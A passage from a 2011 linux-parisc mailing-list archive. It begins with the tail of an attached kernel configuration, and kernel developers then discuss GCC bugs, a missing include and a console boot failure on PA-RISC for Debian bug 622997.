CONFIG_NLS_CODEPAGE_860=m
CONFIG_NLS_CODEPAGE_861=m
CONFIG_NLS_CODEPAGE_862=m
CONFIG_NLS_CODEPAGE_863=m
CONFIG_NLS_CODEPAGE_864=m
CONFIG_NLS_CODEPAGE_865=m
CONFIG_NLS_CODEPAGE_866=m
CONFIG_NLS_CODEPAGE_869=m
CONFIG_NLS_CODEPAGE_936=m
CONFIG_NLS_CODEPAGE_950=m
CONFIG_NLS_CODEPAGE_932=m
CONFIG_NLS_CODEPAGE_949=m
CONFIG_NLS_CODEPAGE_874=m
CONFIG_NLS_ISO8859_8=m
CONFIG_NLS_CODEPAGE_1250=m
CONFIG_NLS_CODEPAGE_1251=m
CONFIG_NLS_ASCII=m
CONFIG_NLS_ISO8859_1=m
CONFIG_NLS_ISO8859_2=m
CONFIG_NLS_ISO8859_3=m
CONFIG_NLS_ISO8859_4=m
CONFIG_NLS_ISO8859_5=m
CONFIG_NLS_ISO8859_6=m
CONFIG_NLS_ISO8859_7=m
CONFIG_NLS_ISO8859_9=m
CONFIG_NLS_ISO8859_13=m
CONFIG_NLS_ISO8859_14=m
CONFIG_NLS_ISO8859_15=m
CONFIG_NLS_KOI8_R=m
CONFIG_NLS_KOI8_U=m
CONFIG_NLS_UTF8=m
CONFIG_DLM=m
CONFIG_DLM_DEBUG=y

#
# Kernel hacking
#
CONFIG_PRINTK_TIME=y
CONFIG_DEFAULT_MESSAGE_LOGLEVEL=4
CONFIG_ENABLE_WARN_DEPRECATED=y
CONFIG_ENABLE_MUST_CHECK=y
CONFIG_FRAME_WARN=2048
CONFIG_MAGIC_SYSRQ=y
CONFIG_STRIP_ASM_SYMS=y
CONFIG_UNUSED_SYMBOLS=y
CONFIG_DEBUG_FS=y
# CONFIG_HEADERS_CHECK is not set
# CONFIG_DEBUG_SECTION_MISMATCH is not set
CONFIG_DEBUG_KERNEL=y
# CONFIG_DEBUG_SHIRQ is not set
# CONFIG_LOCKUP_DETECTOR is not set
# CONFIG_HARDLOCKUP_DETECTOR is not set
CONFIG_DETECT_HUNG_TASK=y
# CONFIG_BOOTPARAM_HUNG_TASK_PANIC is not set
CONFIG_BOOTPARAM_HUNG_TASK_PANIC_VALUE=0
CONFIG_SCHED_DEBUG=y
# CONFIG_SCHEDSTATS is not set
CONFIG_TIMER_STATS=y
# CONFIG_DEBUG_OBJECTS is not set
# CONFIG_SLUB_DEBUG_ON is not set
# CONFIG_SLUB_STATS is not set
# CONFIG_DEBUG_RT_MUTEXES is not set
# CONFIG_RT_MUTEX_TESTER is not set
# CONFIG_DEBUG_SPINLOCK is not set
# CONFIG_DEBUG_MUTEXES is not set
# CONFIG_SPARSE_RCU_POINTER is not set
# CONFIG_DEBUG_SPINLOCK_SLEEP is not set
# CONFIG_DEBUG_LOCKING_API_SELFTESTS is not set
# CONFIG_DEBUG_KOBJECT is not set
CONFIG_DEBUG_BUGVERBOSE=y
# CONFIG_DEBUG_INFO is not set
# CONFIG_DEBUG_VM is not set
# CONFIG_DEBUG_WRITECOUNT is not set
CONFIG_DEBUG_MEMORY_INIT=y
# CONFIG_DEBUG_LIST is not set
# CONFIG_TEST_LIST_SORT is not set
# CONFIG_DEBUG_SG is not set
# CONFIG_DEBUG_NOTIFIERS is not set
# CONFIG_DEBUG_CREDENTIALS is not set
CONFIG_BOOT_PRINTK_DELAY=y
# CONFIG_RCU_TORTURE_TEST is not set
# CONFIG_RCU_CPU_STALL_DETECTOR is not set
# CONFIG_BACKTRACE_SELF_TEST is not set
# CONFIG_DEBUG_BLOCK_EXT_DEVT is not set
# CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set
# CONFIG_LKDTM is not set
# CONFIG_CPU_NOTIFIER_ERROR_INJECT is not set
# CONFIG_FAULT_INJECTION is not set
# CONFIG_LATENCYTOP is not set
CONFIG_SYSCTL_SYSCALL_CHECK=y
# CONFIG_DEBUG_PAGEALLOC is not set
CONFIG_HAVE_FUNCTION_TRACER=y
CONFIG_HAVE_FUNCTION_GRAPH_TRACER=y
CONFIG_HAVE_FUNCTION_TRACE_MCOUNT_TEST=y
# CONFIG_DYNAMIC_DEBUG is not set
# CONFIG_ATOMIC64_SELFTEST is not set
# CONFIG_ASYNC_RAID6_TEST is not set
# CONFIG_SAMPLES is not set
# CONFIG_TEST_KSTRTOX is not set
# CONFIG_DEBUG_RODATA is not set
# CONFIG_DEBUG_STRICT_USER_COPY_CHECKS is not set

#
# Security options
#
CONFIG_KEYS=y
# CONFIG_TRUSTED_KEYS is not set
CONFIG_KEYS_DEBUG_PROC_KEYS=y
# CONFIG_SECURITY_DMESG_RESTRICT is not set
CONFIG_SECURITY=y
CONFIG_SECURITYFS=y
CONFIG_SECURITY_NETWORK=y
CONFIG_SECURITY_NETWORK_XFRM=y
CONFIG_SECURITY_PATH=y
CONFIG_LSM_MMAP_MIN_ADDR=32768
CONFIG_SECURITY_SELINUX=y
CONFIG_SECURITY_SELINUX_BOOTPARAM=y
CONFIG_SECURITY_SELINUX_BOOTPARAM_VALUE=0
CONFIG_SECURITY_SELINUX_DISABLE=y
CONFIG_SECURITY_SELINUX_DEVELOP=y
CONFIG_SECURITY_SELINUX_AVC_STATS=y
CONFIG_SECURITY_SELINUX_CHECKREQPROT_VALUE=1
# CONFIG_SECURITY_SELINUX_POLICYDB_VERSION_MAX is not set
CONFIG_SECURITY_TOMOYO=y
# CONFIG_SECURITY_APPARMOR is not set
# CONFIG_IMA is not set
CONFIG_DEFAULT_SECURITY_SELINUX=y
# CONFIG_DEFAULT_SECURITY_TOMOYO is not set
# CONFIG_DEFAULT_SECURITY_DAC is not set
CONFIG_DEFAULT_SECURITY="selinux"
CONFIG_XOR_BLOCKS=m
CONFIG_ASYNC_CORE=m
CONFIG_ASYNC_MEMCPY=m
CONFIG_ASYNC_XOR=m
CONFIG_ASYNC_PQ=m
CONFIG_ASYNC_RAID6_RECOV=m
CONFIG_CRYPTO=y

#
# Crypto core or helper
#
CONFIG_CRYPTO_FIPS=y
CONFIG_CRYPTO_ALGAPI=y
CONFIG_CRYPTO_ALGAPI2=y
CONFIG_CRYPTO_AEAD=m
CONFIG_CRYPTO_AEAD2=y
CONFIG_CRYPTO_BLKCIPHER=m
CONFIG_CRYPTO_BLKCIPHER2=y
CONFIG_CRYPTO_HASH=y
CONFIG_CRYPTO_HASH2=y
CONFIG_CRYPTO_RNG=m
CONFIG_CRYPTO_RNG2=y
CONFIG_CRYPTO_PCOMP=m
CONFIG_CRYPTO_PCOMP2=y
CONFIG_CRYPTO_MANAGER=y
CONFIG_CRYPTO_MANAGER2=y
# CONFIG_CRYPTO_MANAGER_DISABLE_TESTS is not set
CONFIG_CRYPTO_GF128MUL=m
CONFIG_CRYPTO_NULL=m
CONFIG_CRYPTO_PCRYPT=m
CONFIG_CRYPTO_WORKQUEUE=y
# CONFIG_CRYPTO_CRYPTD is not set
CONFIG_CRYPTO_AUTHENC=m
CONFIG_CRYPTO_TEST=m

#
# Authenticated Encryption with Associated Data
#
CONFIG_CRYPTO_CCM=m
CONFIG_CRYPTO_GCM=m
CONFIG_CRYPTO_SEQIV=m

#
# Block modes
#
CONFIG_CRYPTO_CBC=m
CONFIG_CRYPTO_CTR=m
CONFIG_CRYPTO_CTS=m
CONFIG_CRYPTO_ECB=m
CONFIG_CRYPTO_LRW=m
CONFIG_CRYPTO_PCBC=m
CONFIG_CRYPTO_XTS=m

#
# Hash modes
#
CONFIG_CRYPTO_HMAC=m
CONFIG_CRYPTO_XCBC=m
CONFIG_CRYPTO_VMAC=m

#
# Digest
#
CONFIG_CRYPTO_CRC32C=m
CONFIG_CRYPTO_GHASH=m
CONFIG_CRYPTO_MD4=m
CONFIG_CRYPTO_MD5=y
CONFIG_CRYPTO_MICHAEL_MIC=m
CONFIG_CRYPTO_RMD128=m
CONFIG_CRYPTO_RMD160=m
CONFIG_CRYPTO_RMD256=m
CONFIG_CRYPTO_RMD320=m
CONFIG_CRYPTO_SHA1=m
CONFIG_CRYPTO_SHA256=m
CONFIG_CRYPTO_SHA512=m
CONFIG_CRYPTO_TGR192=m
CONFIG_CRYPTO_WP512=m

#
# Ciphers
#
CONFIG_CRYPTO_AES=m
CONFIG_CRYPTO_ANUBIS=m
CONFIG_CRYPTO_ARC4=m
CONFIG_CRYPTO_BLOWFISH=m
CONFIG_CRYPTO_CAMELLIA=m
CONFIG_CRYPTO_CAST5=m
CONFIG_CRYPTO_CAST6=m
CONFIG_CRYPTO_DES=m
CONFIG_CRYPTO_FCRYPT=m
CONFIG_CRYPTO_KHAZAD=m
CONFIG_CRYPTO_SALSA20=m
CONFIG_CRYPTO_SEED=m
CONFIG_CRYPTO_SERPENT=m
CONFIG_CRYPTO_TEA=m
CONFIG_CRYPTO_TWOFISH=m
CONFIG_CRYPTO_TWOFISH_COMMON=m

#
# Compression
#
CONFIG_CRYPTO_DEFLATE=m
CONFIG_CRYPTO_ZLIB=m
CONFIG_CRYPTO_LZO=m

#
# Random Number Generation
#
CONFIG_CRYPTO_ANSI_CPRNG=m
# CONFIG_CRYPTO_USER_API_HASH is not set
# CONFIG_CRYPTO_USER_API_SKCIPHER is not set
CONFIG_CRYPTO_HW=y
CONFIG_CRYPTO_DEV_HIFN_795X=m
CONFIG_CRYPTO_DEV_HIFN_795X_RNG=y
# CONFIG_BINARY_PRINTF is not set

#
# Library routines
#
CONFIG_RAID6_PQ=m
CONFIG_BITREVERSE=y
CONFIG_GENERIC_FIND_LAST_BIT=y
CONFIG_CRC_CCITT=m
CONFIG_CRC16=m
CONFIG_CRC_T10DIF=m
CONFIG_CRC_ITU_T=m
CONFIG_CRC32=y
CONFIG_CRC7=m
CONFIG_LIBCRC32C=m
CONFIG_AUDIT_GENERIC=y
CONFIG_ZLIB_INFLATE=y
CONFIG_ZLIB_DEFLATE=m
CONFIG_LZO_COMPRESS=m
CONFIG_LZO_DECOMPRESS=y
CONFIG_XZ_DEC=y
CONFIG_XZ_DEC_X86=y
CONFIG_XZ_DEC_POWERPC=y
CONFIG_XZ_DEC_IA64=y
CONFIG_XZ_DEC_ARM=y
CONFIG_XZ_DEC_ARMTHUMB=y
CONFIG_XZ_DEC_SPARC=y
CONFIG_XZ_DEC_BCJ=y
# CONFIG_XZ_DEC_TEST is not set
CONFIG_DECOMPRESS_GZIP=y
CONFIG_DECOMPRESS_BZIP2=y
CONFIG_DECOMPRESS_LZMA=y
CONFIG_DECOMPRESS_XZ=y
CONFIG_DECOMPRESS_LZO=y
CONFIG_GENERIC_ALLOCATOR=y
CONFIG_TEXTSEARCH=y
CONFIG_TEXTSEARCH_KMP=m
CONFIG_TEXTSEARCH_BM=m
CONFIG_TEXTSEARCH_FSM=m
CONFIG_BTREE=y
CONFIG_HAS_IOMEM=y
CONFIG_HAS_IOPORT=y
CONFIG_HAS_DMA=y
CONFIG_CPU_RMAP=y
CONFIG_NLATTR=y
CONFIG_LRU_CACHE=m
CONFIG_AVERAGE=y

--bp/iNruPH9dso1Pn--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Bug#622997: Debian bug 622997
Date: Sat, 16 Apr 2011 22:50:56 -0400
Organization: nrc.ca
Lines: 16
Approved: news@gmane.org
Message-ID: <20110417025055.GA20548@hiauly1.hia.nrc.ca>
References: <20110416180754.GA18022@hiauly1.hia.nrc.ca> <1302980251.4058.11.camel@mulgrave.site> <1302981769.5282.863.camel@localhost>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1303008667 2865 80.91.229.12 (17 Apr 2011 02:51:07 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 17 Apr 2011 02:51:07 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	622997@bugs.debian.org,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	linux-parisc@vger.kernel.org
To: Ben Hutchings <ben@decadent.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 17 04:51:02 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QBI4k-0005sV-4k
	for glpp-linux-parisc@lo.gmane.org; Sun, 17 Apr 2011 04:51:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751917Ab1DQCu6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 16 Apr 2011 22:50:58 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:2164 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751364Ab1DQCu6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 16 Apr 2011 22:50:58 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id C0A7F4E42; Sat, 16 Apr 2011 22:50:56 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <1302981769.5282.863.camel@localhost>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3542
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3542>

On Sat, 16 Apr 2011, Ben Hutchings wrote:

> If you can identify the compiler patches required, I can ask the Debian
> gcc maintainers to apply them.

gcc-4.4.6 is released and contains all parisc patches known to be relevant.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Debian bug 622997
Date: Sat, 16 Apr 2011 23:57:04 -0500
Lines: 44
Approved: news@gmane.org
Message-ID: <1303016224.5167.7.camel@mulgrave.site>
References: <20110416192920.1E15B4FD9@hiauly1.hia.nrc.ca>
	 <1302986887.4058.13.camel@mulgrave.site>
	 <1302988479.7967.0.camel@mulgrave.site>
	 <20110416233556.GA19802@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303016262 28820 80.91.229.12 (17 Apr 2011 04:57:42 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 17 Apr 2011 04:57:42 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, 622997@bugs.debian.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 17 06:57:32 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QBK39-00013T-V5
	for glpp-linux-parisc@lo.gmane.org; Sun, 17 Apr 2011 06:57:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751139Ab1DQE5I (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 17 Apr 2011 00:57:08 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:53098 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750967Ab1DQE5H (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 17 Apr 2011 00:57:07 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 4D4658EE023;
	Sat, 16 Apr 2011 21:57:07 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id tfOHZyyDh51e; Sat, 16 Apr 2011 21:57:07 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id C92D78EE01D;
	Sat, 16 Apr 2011 21:57:06 -0700 (PDT)
In-Reply-To: <20110416233556.GA19802@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3543
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3543>

On Sat, 2011-04-16 at 19:35 -0400, John David Anglin wrote: 
> On Sat, 16 Apr 2011, James Bottomley wrote:
> 
> > Strike that one ... I enabled USB in my 2.6.39-rc3 build and it inserts
> > the OHCI module and discovers the ports just fine.
> 
> Boot 2.6.39-rc3 fails for me with attached config.

I can't quite build it.  With gcc version 4.2.4 (Debian 4.2.4-6) I'm
getting an ICE:

net/wireless/reg.c: In function 'freq_reg_info_regd':
net/wireless/reg.c:645: internal compiler error: in expand_expr_real_1,
at expr.c:8744
Please submit a full bug report,
with preprocessed source if appropriate.
See <URL:http://gcc.gnu.org/bugs.html> for instructions.
For Debian GNU/Linux specific bug reporting instructions,
see <URL:file:///usr/share/doc/gcc-4.2/README.Bugs>.
make[2]: *** [net/wireless/reg.o] Error 1

Plus there's a bug in my kernel code:

drivers/usb/host/xhci-pci.c: In function 'xhci_pci_setup':
drivers/usb/host/xhci-pci.c:61: error: implicit declaration of function
'kzalloc

If I correct for these (add missing slab.h include and disable wireless)
and build, the last message I see is

turn off boot console ttyB0

Which indicates it's got a problem with the console configuration (I
don't see any console registration for the DIVA serial port on ttyS1 in
the boot log).

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Debian bug 622997
Date: Sun, 17 Apr 2011 11:11:46 -0400 (EDT)
Lines: 75
Approved: news@gmane.org
Message-ID: <20110417151147.326EC4FCB@hiauly1.hia.nrc.ca>
References: <1303016224.5167.7.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303053116 23260 80.91.229.12 (17 Apr 2011 15:11:56 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 17 Apr 2011 15:11:56 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	622997@bugs.debian.org
To: James.Bottomley@HansenPartnership.com (James Bottomley)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 17 17:11:51 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QBTde-0002in-8q
	for glpp-linux-parisc@lo.gmane.org; Sun, 17 Apr 2011 17:11:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752667Ab1DQPLt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 17 Apr 2011 11:11:49 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:2507 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752439Ab1DQPLt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 17 Apr 2011 11:11:49 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 326EC4FCB; Sun, 17 Apr 2011 11:11:46 -0400 (EDT)
In-Reply-To: <1303016224.5167.7.camel@mulgrave.site> from "James Bottomley" at Apr 16, 2011 11:57:04 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3544
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3544>

> On Sat, 2011-04-16 at 19:35 -0400, John David Anglin wrote: 
> > On Sat, 16 Apr 2011, James Bottomley wrote:
> > 
> > > Strike that one ... I enabled USB in my 2.6.39-rc3 build and it inserts
> > > the OHCI module and discovers the ports just fine.
> > 
> > Boot 2.6.39-rc3 fails for me with attached config.
> 
> I can't quite build it.  With gcc version 4.2.4 (Debian 4.2.4-6) I'm
> getting an ICE:
> 
> net/wireless/reg.c: In function 'freq_reg_info_regd':
> net/wireless/reg.c:645: internal compiler error: in expand_expr_real_1,
> at expr.c:8744
> Please submit a full bug report,
> with preprocessed source if appropriate.
> See <URL:http://gcc.gnu.org/bugs.html> for instructions.
> For Debian GNU/Linux specific bug reporting instructions,
> see <URL:file:///usr/share/doc/gcc-4.2/README.Bugs>.
> make[2]: *** [net/wireless/reg.o] Error 1

This is probably fixed as it doesn't occur with 
gcc version 4.5.3 20110101 (prerelease) [gcc-4_5-branch revision 168387] (GCC) .
GCC 4.2 and 4.3 are no longer maintained and there won't be any further
releases from these branches.

Without looking at the above, it's hard to tell whether the bug is a
middle-end or backend bug.  Many middle-end bugs are fixed in more recent
GCC versions.  Although newer versions may bring their own problems,
we can get help in fixing problems particularly if they are regressions. 

The asm delay slot bug affected all GCC versions.  I backported the fix to
the 4.3, 4.4 and 4.5 branches.  This is a problem in the kernel because of
the following:

** The __asm__ op below simple prevents gcc/ld from reordering
** instructions across the mb() "call".
*/
#define mb()            __asm__ __volatile__("":::"memory")     /* barrier() */

It's just a matter of chance whether a barrier ends up in the delay slot
of a branch in a critical location.

> Plus there's a bug in my kernel code:
> 
> drivers/usb/host/xhci-pci.c: In function 'xhci_pci_setup':
> drivers/usb/host/xhci-pci.c:61: error: implicit declaration of function
> 'kzalloc
> 
> If I correct for these (add missing slab.h include and disable wireless)

I had to add missing slab.h as well.  However, I didn't touch wireless
with 4.5.3.

> and build, the last message I see is
> 
> turn off boot console ttyB0
> 
> Which indicates it's got a problem with the console configuration (I
> don't see any console registration for the DIVA serial port on ttyS1 in
> the boot log).

Comparing the console output that I recorded for the debian kernel, I
see udev starts much earlier.  It only has the initial message from the
tg3 driver and SCSI subsystem.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Debian bug 622997
Date: Sun, 17 Apr 2011 10:23:27 -0500
Lines: 81
Approved: news@gmane.org
Message-ID: <1303053807.2583.1.camel@mulgrave.site>
References: <20110417151147.326EC4FCB@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303053817 26655 80.91.229.12 (17 Apr 2011 15:23:37 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 17 Apr 2011 15:23:37 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	622997@bugs.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 17 17:23:32 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QBToy-0000YN-26
	for glpp-linux-parisc@lo.gmane.org; Sun, 17 Apr 2011 17:23:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752800Ab1DQPXb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 17 Apr 2011 11:23:31 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:33895 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752667Ab1DQPXa (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 17 Apr 2011 11:23:30 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 3569F8EE0F5;
	Sun, 17 Apr 2011 08:23:30 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 7detARenbxTi; Sun, 17 Apr 2011 08:23:30 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 9B4F08EE0F2;
	Sun, 17 Apr 2011 08:23:29 -0700 (PDT)
In-Reply-To: <20110417151147.326EC4FCB@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3545
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3545>

On Sun, 2011-04-17 at 11:11 -0400, John David Anglin wrote:
> > On Sat, 2011-04-16 at 19:35 -0400, John David Anglin wrote: 
> > > On Sat, 16 Apr 2011, James Bottomley wrote:
> > > 
> > > > Strike that one ... I enabled USB in my 2.6.39-rc3 build and it inserts
> > > > the OHCI module and discovers the ports just fine.
> > > 
> > > Boot 2.6.39-rc3 fails for me with attached config.
> > 
> > I can't quite build it.  With gcc version 4.2.4 (Debian 4.2.4-6) I'm
> > getting an ICE:
> > 
> > net/wireless/reg.c: In function 'freq_reg_info_regd':
> > net/wireless/reg.c:645: internal compiler error: in expand_expr_real_1,
> > at expr.c:8744
> > Please submit a full bug report,
> > with preprocessed source if appropriate.
> > See <URL:http://gcc.gnu.org/bugs.html> for instructions.
> > For Debian GNU/Linux specific bug reporting instructions,
> > see <URL:file:///usr/share/doc/gcc-4.2/README.Bugs>.
> > make[2]: *** [net/wireless/reg.o] Error 1
> 
> This is probably fixed as it doesn't occur with 
> gcc version 4.5.3 20110101 (prerelease) [gcc-4_5-branch revision 168387] (GCC) .
> GCC 4.2 and 4.3 are no longer maintained and there won't be any further
> releases from these branches.
> 
> Without looking at the above, it's hard to tell whether the bug is a
> middle-end or backend bug.  Many middle-end bugs are fixed in more recent
> GCC versions.  Although newer versions may bring their own problems,
> we can get help in fixing problems particularly if they are regressions. 
> 
> The asm delay slot bug affected all GCC versions.  I backported the fix to
> the 4.3, 4.4 and 4.5 branches.  This is a problem in the kernel because of
> the following:
> 
> ** The __asm__ op below simple prevents gcc/ld from reordering
> ** instructions across the mb() "call".
> */
> #define mb()            __asm__ __volatile__("":::"memory")     /* barrier() */
> 
> It's just a matter of chance whether a barrier ends up in the delay slot
> of a branch in a critical location.

I'll redo optimisation on that one and see if I can avoid this.

> > Plus there's a bug in my kernel code:
> > 
> > drivers/usb/host/xhci-pci.c: In function 'xhci_pci_setup':
> > drivers/usb/host/xhci-pci.c:61: error: implicit declaration of function
> > 'kzalloc
> > 
> > If I correct for these (add missing slab.h include and disable wireless)
> 
> I had to add missing slab.h as well.  However, I didn't touch wireless
> with 4.5.3.
> 
> > and build, the last message I see is
> > 
> > turn off boot console ttyB0
> > 
> > Which indicates it's got a problem with the console configuration (I
> > don't see any console registration for the DIVA serial port on ttyS1 in
> > the boot log).
> 
